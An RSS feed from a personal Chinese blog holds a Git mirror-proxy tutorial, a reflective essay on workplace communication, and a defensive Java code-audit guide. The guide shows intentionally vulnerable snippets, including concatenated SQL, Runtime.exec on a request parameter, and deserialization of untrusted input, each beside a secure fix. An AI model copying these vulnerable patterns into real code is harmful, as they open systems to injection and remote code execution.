<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>0xd00 随笔小记</title><description>记录日常灵感、随想与生活点滴的个人随笔博客</description><link>https://blog.0xd00.com</link><item><title>通过配置Git解决命令行中GitHub资源下载慢的问题</title><link>https://blog.0xd00.com/blog/git-proxy-tutorial</link><guid isPermaLink="true">https://blog.0xd00.com/blog/git-proxy-tutorial</guid><description>介绍如何通过Git的URL替换功能配置代理，解决GitHub访问慢的问题，无需代理设置</description><pubDate>Wed, 28 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;通过Git配置解决GitHub下载慢的问题&lt;/h1&gt;
&lt;p&gt;在日常开发过程中，我们经常需要从GitHub上克隆或拉取代码，但有时会遇到网络连接缓慢或不稳定的情况。特别是在某些网络环境下，直接访问GitHub可能会很困难。本文将介绍一种简单有效的方法，通过配置Git的URL替换功能来加速GitHub资源的下载。&lt;/p&gt;
&lt;h2&gt;问题背景&lt;/h2&gt;
&lt;p&gt;在一些网络环境中，由于各种原因导致访问GitHub速度较慢或者无法正常访问。虽然可以为Git设置HTTP/HTTPS代理，但在某些情况下可能不方便配置代理，或者代理设置比较复杂。&lt;/p&gt;
&lt;h2&gt;解决方案&lt;/h2&gt;
&lt;p&gt;我们可以利用Git的&lt;code&gt;url.&amp;#x3C;base&gt;.insteadOf&lt;/code&gt;配置项来解决这个问题。该配置允许我们将特定的URL前缀替换为另一个URL前缀，从而实现通过镜像站点访问GitHub资源的目的。&lt;/p&gt;
&lt;h3&gt;配置命令&lt;/h3&gt;
&lt;p&gt;执行以下命令来配置Git，使其自动将GitHub的URL替换为镜像地址：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git config --global url.&quot;https://ghfast.top/https://github.com&quot;.insteadOf &quot;https://github.com&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个命令的作用是告诉Git，当它遇到以&lt;code&gt;https://github.com&lt;/code&gt;开头的URL时，自动将其替换为&lt;code&gt;https://ghfast.top/https://github.com&lt;/code&gt;开头的URL。这样就可以通过镜像站点访问GitHub资源，通常能获得更快的下载速度。&lt;/p&gt;
&lt;h3&gt;验证配置&lt;/h3&gt;
&lt;p&gt;配置完成后，你可以通过以下命令验证配置是否生效：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git config --global -l | grep insteadof
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果配置成功，你会看到类似下面的输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;url.https://ghfast.top/https://github.com.insteadof=https://github.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这表明Git已经正确记录了URL替换规则。&lt;/p&gt;
&lt;h2&gt;其他可用的镜像站点&lt;/h2&gt;
&lt;p&gt;除了&lt;code&gt;ghfast.top&lt;/code&gt;，你还可以使用其他GitHub镜像站点，例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://ghproxy.com/https://github.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://ghproxy.net/https://github.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://hub.fastgit.xyz/https://github.com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;只需将上述命令中的镜像地址替换为你想要使用的即可。&lt;/p&gt;
&lt;h2&gt;移除配置&lt;/h2&gt;
&lt;p&gt;如果需要移除这个配置，可以使用以下命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git config --global --unset url.&quot;https://ghfast.top/https://github.com&quot;.insteadOf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者想移除所有URL替换配置，可以使用：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git config --global --remove-section url
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;注意事项&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;这种方法只对HTTPS方式的Git操作有效，对于SSH方式不会起作用&lt;/li&gt;
&lt;li&gt;不同的镜像站点可能有不同的稳定性和速度表现，可以根据实际情况选择最适合的&lt;/li&gt;
&lt;li&gt;镜像站点可能存在一定的延迟，最新的提交可能不会立即同步&lt;/li&gt;
&lt;/ol&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>群聊里的一句话，让我重新看懂人际交往</title><link>https://blog.0xd00.com/blog/group-chat-sentence-interpersonal-insight</link><guid isPermaLink="true">https://blog.0xd00.com/blog/group-chat-sentence-interpersonal-insight</guid><description>本文记录了技术交流群中关于统x内核开发因未穿西装被开除事件的讨论，通过群内不同观点的碰撞，引发对人际交往中沟通分寸与用词谨慎的思考。</description><pubDate>Wed, 14 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;
import imgChat from &apos;./assets/img.png&apos;&lt;/p&gt;
&lt;p&gt;前些天刷手机，偶然刷到统x内核开发因没穿西装被开除的文章。当时只觉得这公司多少有点离谱，心里漫不经心地飘过一个念头：对他们这种地方来说，少个开发根本无关紧要，能拉来单子、攥紧人脉才是真本事。念头像阵风似的刮过，没留下半点痕迹，我随手关掉这篇消息文章，把这事抛到了脑后。
再次想起是在某个技术交流群。手机震了两下，我点开屏幕，进入群聊界面，看到群友1发了张统x内部的聊天记录截图，配文就几个字：“就问了一句开了”。
&amp;#x3C;Image
src={imgChat}
alt=&apos;群聊天记录&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;
截图里的对话很短，员工问了句关于穿西装的事，领导没多言就提了开除。我还没来得及敲下“这也太夸张了”，就看到群友3的回复跳了出来：“这不是问，这语气是质疑，意思是不想买西装，这是顶撞领导，领导说话执行就行了。”&lt;/p&gt;
&lt;p&gt;这句话像根细针，轻轻扎了我一下。我盯着屏幕愣了两秒，指尖悬在输入框上方，原本想打“这就是正常沟通吧”，字都输了一半，又默默删掉了。群里已经热闹起来，不少人和我最初的想法一样，觉得这就是普通回复，没人会第一时间往“顶撞”上想。&lt;/p&gt;
&lt;p&gt;我靠在办公椅上，盯着群里滚动的消息，脑子里突然冒出个荒诞的画面：一群被驯服的牛马，哪怕主人只是哼了一声，也要赶紧竖起耳朵揣测上意，生怕错会了指令。这个念头让我心里发沉，指尖又一次凑近键盘，想把这个比喻发出去，可顿了顿还是收回了手。我太清楚技术群的规矩，一旦扯到职场人际的是非争论，原本纯粹的技术讨论氛围就会变味，没必要因为一句感慨扫了大家的兴。&lt;/p&gt;
&lt;p&gt;我没说话，就当个沉默的旁观者。群里的争论越来越激烈，不少人对着群友3的言论展开抨击，说他“奴性重”“被PUA惯了”，文字里的火气隔着屏幕都能感受到。我滑动屏幕的手指渐渐放慢，心里突然升起一阵莫名的凉意——大家都在站自己的立场发声，却没人想过，不同的人眼里，同一句话真的会有完全不同的解读。&lt;/p&gt;
&lt;p&gt;就在争论快白热化的时候，一条支持群友3的消息慢慢浮了上来：“最好改一下习惯，多加点字会稳妥一些，有人会觉得这种说话方式比较挑衅。” 这句话像一盆温水，浇灭了我心里的烦躁，也让我瞬间愣住了。&lt;/p&gt;
&lt;p&gt;我关掉群聊界面，手机屏幕暗下去，映出我有点茫然的脸。之前觉得群友3的言论不可理喻，可此刻再回想，才突然意识到，用词谨慎从来都不只是针对领导。&lt;/p&gt;
&lt;p&gt;那些我以为“没什么”的表达方式，在某些人眼里，可能真的带着冒犯和挑衅。就像同样一杯水，有人觉得温度刚好，有人觉得太烫，有人觉得太凉，不是水的问题，是每个人的感知不同。人际交往中的沟通，从来都不是“我觉得没问题就没问题”，而是要考虑到对方的接受度。&lt;/p&gt;
&lt;p&gt;我重新点开群聊，争论已经平息，没人再揪着这个话题不放。指尖滑动屏幕的动作比平时慢了些，也稳了些。那些人际交往里没人教的分寸感，总要自己撞过几次墙、听几句逆耳的话，才能慢慢悟透。&lt;/p&gt;
&lt;p&gt;原来那些我们觉得“没必要”的谨慎，从来都不是多余的。不是要磨掉自己的棱角去讨好谁，而是在成年人的人际交往里，学会用更稳妥的方式传递想法，避免不必要的误解和伤害。就像群里那位群友说的，多加点字，多考虑一点别人的感受，有时候就是最省力的相处方式。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Java 代码审计 - 漏洞Sink点</title><link>https://blog.0xd00.com/blog/java_audit</link><guid isPermaLink="true">https://blog.0xd00.com/blog/java_audit</guid><description>Java 代码审计 - 漏洞Sink点</description><pubDate>Thu, 18 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1. SQL注入&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Statement.execute()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Statement.executeQuery()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Statement.executeUpdate()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PreparedStatement&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;MyBatis &lt;code&gt;${}&lt;/code&gt;占位符&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Hibernate.createQuery()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Spring Data JPA custom query&lt;/li&gt;
&lt;li&gt;&lt;code&gt;JdbcTemplate.update()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EntityManager.createQuery()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否使用&lt;code&gt;PreparedStatement&lt;/code&gt;替代&lt;code&gt;Statement&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;SQL语句中是否存在字符串拼接&lt;/li&gt;
&lt;li&gt;用户输入是否直接进入SQL&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;?&lt;/code&gt;占位符进行参数化&lt;/li&gt;
&lt;li&gt;参数是否通过&lt;code&gt;setString()&lt;/code&gt;等方法绑定&lt;/li&gt;
&lt;li&gt;所有用户输入是否都被参数化&lt;/li&gt;
&lt;li&gt;MyBatis是否使用&lt;code&gt;#{}&lt;/code&gt;而非&lt;code&gt;${}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;无法参数化部分是否有白名单&lt;/li&gt;
&lt;li&gt;ORM框架的参数绑定方式是否正确&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;风险代码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 模式1：直接字符串拼接
String username = request.getParameter(&quot;username&quot;);
String sql = &quot;SELECT * FROM users WHERE username = &apos;&quot; + username + &quot;&apos;&quot;;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 模式2：PreparedStatement但SQL已包含拼接
String username = request.getParameter(&quot;username&quot;);
String sql = &quot;SELECT * FROM users WHERE username = &apos;&quot; + username + &quot;&apos;&quot;;
PreparedStatement pstmt = connection.prepareStatement(sql);
// 此时参数化未起作用，SQL已被拼接
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 模式3：MyBatis使用${}
&amp;#x3C;select id=&quot;select&quot; resultType=&quot;user&quot;&gt;
    SELECT * FROM users WHERE username = &apos;${username}&apos;
&amp;#x3C;/select&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 模式4：ORDER BY未验证
String orderBy = request.getParameter(&quot;orderBy&quot;);
String sql = &quot;SELECT * FROM users ORDER BY &quot; + orderBy;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 方案1：PreparedStatement参数化
String username = request.getParameter(&quot;username&quot;);
String sql = &quot;SELECT * FROM users WHERE username = ?&quot;;
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username);
ResultSet rs = pstmt.executeQuery();
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 方案2：MyBatis使用#{}
&amp;#x3C;select id=&quot;select&quot; resultType=&quot;user&quot;&gt;
    SELECT * FROM users WHERE username = #{username}
&amp;#x3C;/select&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 方案3：Hibernate参数化
String username = request.getParameter(&quot;username&quot;);
Query query = session.createQuery(&quot;FROM User WHERE username = :username&quot;);
query.setParameter(&quot;username&quot;, username);
List&amp;#x3C;User&gt; users = query.list();
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 方案4：ORDER BY白名单
String orderField = request.getParameter(&quot;orderBy&quot;);
String[] allowedFields = {&quot;id&quot;, &quot;username&quot;, &quot;email&quot;, &quot;createTime&quot;};
if (!Arrays.asList(allowedFields).contains(orderField)) {
    throw new IllegalArgumentException(&quot;Invalid field&quot;);
}
String sql = &quot;SELECT * FROM users ORDER BY &quot; + orderField;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;2. 命令执行&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Runtime.getRuntime().exec()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ProcessBuilder.start()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ProcessBuilder.command()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;用户输入是否进入命令参数&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;exec(String)&lt;/code&gt;还是&lt;code&gt;exec(String[])&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;是否通过shell执行（&lt;code&gt;/bin/sh -c&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;是否实现了命令白名单&lt;/li&gt;
&lt;li&gt;参数是否进行了验证&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;风险代码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 模式1：用户输入直接作为命令
String cmd = request.getParameter(&quot;cmd&quot;);
Runtime.getRuntime().exec(cmd);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 模式2：通过shell执行
String host = request.getParameter(&quot;host&quot;);
Runtime.getRuntime().exec(new String[]{&quot;/bin/sh&quot;, &quot;-c&quot;, &quot;ping &quot; + host});
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 模式3：参数通过字符串而非数组传递
String args = userInputArray[0] + &quot; &quot; + userInputArray[1];
new ProcessBuilder(args).start();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 方案1：命令白名单
String cmd = request.getParameter(&quot;cmd&quot;);
List&amp;#x3C;String&gt; allowedCommands = Arrays.asList(&quot;whoami&quot;, &quot;date&quot;, &quot;pwd&quot;);

if (!allowedCommands.contains(cmd)) {
    throw new IllegalArgumentException(&quot;Command not allowed&quot;);
}

Process process = Runtime.getRuntime().exec(cmd);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 方案2：参数白名单+数组形式
String host = request.getParameter(&quot;host&quot;);
List&amp;#x3C;String&gt; allowedHosts = Arrays.asList(&quot;google.com&quot;, &quot;github.com&quot;);

if (!allowedHosts.contains(host)) {
    throw new IllegalArgumentException(&quot;Host not allowed&quot;);
}

ProcessBuilder pb = new ProcessBuilder(
    &quot;/bin/ping&quot;, &quot;-c&quot;, &quot;4&quot;, host
);
Process process = pb.start();
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;3. 文件上传和任意文件写入&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;FileOutputStream&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FileWriter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Files.write()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Files.copy()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RandomAccessFile&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CommonsFileUpload.FileItem.write()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;扩展名是否进行白名单验证&lt;/li&gt;
&lt;li&gt;是否防止了&lt;code&gt;.jsp&lt;/code&gt;、&lt;code&gt;.class&lt;/code&gt;等可执行文件&lt;/li&gt;
&lt;li&gt;MIME类型是否经过验证&lt;/li&gt;
&lt;li&gt;文件名是否包含路径分隔符&lt;/li&gt;
&lt;li&gt;是否生成了新文件名&lt;/li&gt;
&lt;li&gt;最终路径是否在预期目录内&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;getCanonicalPath()&lt;/code&gt;验证路径&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;风险代码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 模式1：直接使用上传文件名
ServletFileUpload upload = new ServletFileUpload(factory);
List&amp;#x3C;FileItem&gt; items = upload.parseRequest(request);
for (FileItem item : items) {
    if (!item.isFormField()) {
        String filename = item.getName();
        String filePath = &quot;uploads/&quot; + filename;
        item.write(new File(filePath));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 模式2：仅检查扩展名
String filename = item.getName();
if (!filename.endsWith(&quot;.jpg&quot;)) {
    return;
}
// 但shell.jpg.jsp可绕过
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;public void handleFileUpload(HttpServletRequest request) throws Exception {
    ServletFileUpload upload = new ServletFileUpload(factory);
    List&amp;#x3C;FileItem&gt; items = upload.parseRequest(request);
    
    for (FileItem item : items) {
        if (item.isFormField()) continue;
        
        if (item.getSize() &gt; 5 * 1024 * 1024) {
            throw new Exception(&quot;File too large&quot;);
        }
        
        String filename = item.getName();
        String extension = FilenameUtils.getExtension(filename);
        List&amp;#x3C;String&gt; allowedExts = Arrays.asList(&quot;jpg&quot;, &quot;jpeg&quot;, &quot;png&quot;, &quot;gif&quot;);
        
        if (!allowedExts.contains(extension.toLowerCase())) {
            throw new Exception(&quot;File type not allowed&quot;);
        }
        
        String contentType = item.getContentType();
        List&amp;#x3C;String&gt; allowedMimes = Arrays.asList(&quot;image/jpeg&quot;, &quot;image/png&quot;);
        
        if (!allowedMimes.contains(contentType)) {
            throw new Exception(&quot;Invalid MIME type&quot;);
        }
        
        String safeFilename = UUID.randomUUID() + &quot;.&quot; + extension.toLowerCase();
        
        String uploadDir = &quot;/absolute/path/to/uploads&quot;;
        String filepath = new File(uploadDir, safeFilename).getCanonicalPath();
        String canonicalDir = new File(uploadDir).getCanonicalPath();
        
        if (!filepath.startsWith(canonicalDir)) {
            throw new Exception(&quot;Invalid file path&quot;);
        }
        
        item.write(new File(filepath));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;4. 反序列化漏洞&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ObjectInputStream.readObject()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ObjectInputStream.readUnshared()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否对不可信输入执行反序列化&lt;/li&gt;
&lt;li&gt;数据来源是否可信&lt;/li&gt;
&lt;li&gt;是否实现了类白名单&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;ObjectInputFilter&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;风险代码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 模式1：直接反序列化用户输入
byte[] data = Base64.getDecoder().decode(request.getParameter(&quot;data&quot;));
ObjectInputStream ois = new ObjectInputStream(
    new ByteArrayInputStream(data)
);
Object obj = ois.readObject();
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 模式2：从HTTP请求反序列化
ObjectInputStream ois = new ObjectInputStream(
    request.getInputStream()
);
Object obj = ois.readObject();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 方案1：使用ObjectInputFilter
public Object safeDeserialize(byte[] data) throws Exception {
    ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
        &quot;java.util.*;java.lang.*;!java.io.*;!sun.*;!com.sun.*&quot;
    );
    
    ObjectInputStream ois = new ObjectInputStream(
        new ByteArrayInputStream(data)
    );
    ObjectInputFilter.Config.setObjectInputFilter(ois, filter);
    
    return ois.readObject();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;// 方案2：白名单实现
public class WhitelistObjectInputStream extends ObjectInputStream {
    private static final Set&amp;#x3C;String&gt; ALLOWED_CLASSES = new HashSet&amp;#x3C;&gt;(
        Arrays.asList(&quot;User&quot;, &quot;Product&quot;, &quot;Order&quot;)
    );
    
    public WhitelistObjectInputStream(InputStream in) throws IOException {
        super(in);
    }
    
    @Override
    protected Class&amp;#x3C;?&gt; resolveClass(ObjectStreamClass desc) 
            throws IOException, ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(desc.getName())) {
            throw new InvalidClassException(&quot;Class not allowed&quot;);
        }
        return super.resolveClass(desc);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;5. 任意文件读取&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;FileInputStream&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FileReader&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Files.readAllBytes()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Files.readAllLines()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RandomAccessFile&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;用户参数是否直接作为文件路径&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;getCanonicalPath()&lt;/code&gt;规范化&lt;/li&gt;
&lt;li&gt;最终路径是否在允许目录内&lt;/li&gt;
&lt;li&gt;是否实现了文件白名单&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;public String readFileSafely(String filename) throws Exception {
    String cleanFilename = new File(filename).getName();
    String baseDir = &quot;/absolute/path/to/files&quot;;
    String filepath = new File(baseDir, cleanFilename).getCanonicalPath();
    String canonicalDir = new File(baseDir).getCanonicalPath();
    
    if (!filepath.startsWith(canonicalDir + File.separator)) {
        throw new Exception(&quot;Access denied&quot;);
    }
    
    return new String(Files.readAllBytes(Paths.get(filepath)));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;6. 路径遍历&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;文件操作&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;路径中是否包含&lt;code&gt;..&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;getCanonicalPath()&lt;/code&gt;规范化&lt;/li&gt;
&lt;li&gt;规范化后路径是否在基础目录内&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;public String validatePath(String userInput) throws Exception {
    String baseDir = new File(&quot;/data&quot;).getCanonicalFile().getAbsolutePath();
    File file = new File(baseDir, userInput).getCanonicalFile();
    
    if (!file.getAbsolutePath().startsWith(baseDir)) {
        throw new IllegalArgumentException(&quot;Path traversal detected&quot;);
    }
    
    return file.getAbsolutePath();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;7. XXE (XML External Entity)&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DocumentBuilder.parse()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SAXParserFactory.newInstance()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;XMLReader.parse()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Unmarshaller.unmarshal()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否对不可信XML进行解析&lt;/li&gt;
&lt;li&gt;外部实体是否被禁用&lt;/li&gt;
&lt;li&gt;DTD处理是否被禁用&lt;/li&gt;
&lt;li&gt;&lt;code&gt;XIncludeAware&lt;/code&gt;是否为false&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;public Document parseXmlSafely(InputStream xmlInput) throws Exception {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    
    dbf.setFeature(&quot;http://apache.org/xml/features/disallow-doctype-decl&quot;, true);
    dbf.setFeature(&quot;http://xml.org/sax/features/external-general-entities&quot;, false);
    dbf.setFeature(&quot;http://xml.org/sax/features/external-parameter-entities&quot;, false);
    dbf.setXIncludeAware(false);
    dbf.setExpandEntityReferences(false);
    
    DocumentBuilder db = dbf.newDocumentBuilder();
    return db.parse(xmlInput);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;8. SSRF (Server-Side Request Forgery)&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HttpURLConnection.openConnection()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;URLConnection.getInputStream()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HttpClient.execute()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RestTemplate.exchange()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否允许用户指定URL&lt;/li&gt;
&lt;li&gt;是否检测内部地址&lt;/li&gt;
&lt;li&gt;是否限制了协议&lt;/li&gt;
&lt;li&gt;是否防止了DNS重绑定&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;public String fetchUrlSafely(String urlStr) throws Exception {
    URL url = new URL(urlStr);
    
    if (!url.getProtocol().matches(&quot;^https?$&quot;)) {
        throw new IllegalArgumentException(&quot;Invalid protocol&quot;);
    }
    
    InetAddress addr = InetAddress.getByName(url.getHost());
    
    if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() || 
        addr.isSiteLocalAddress()) {
        throw new IllegalArgumentException(&quot;Internal address not allowed&quot;);
    }
    
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setConnectTimeout(10000);
    conn.setReadTimeout(10000);
    
    BufferedReader reader = new BufferedReader(
        new InputStreamReader(conn.getInputStream())
    );
    StringBuilder result = new StringBuilder();
    String line;
    while ((line = reader.readLine()) != null) {
        result.append(line);
    }
    
    return result.toString();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;9. 表达式注入&lt;/h2&gt;
&lt;h3&gt;SpEL注入&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sink点&lt;/strong&gt;：&lt;code&gt;ExpressionParser.parseExpression()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;检查项&lt;/strong&gt;：用户输入是否直接作为表达式；是否使用&lt;code&gt;SimpleEvaluationContext&lt;/code&gt;&lt;/p&gt;
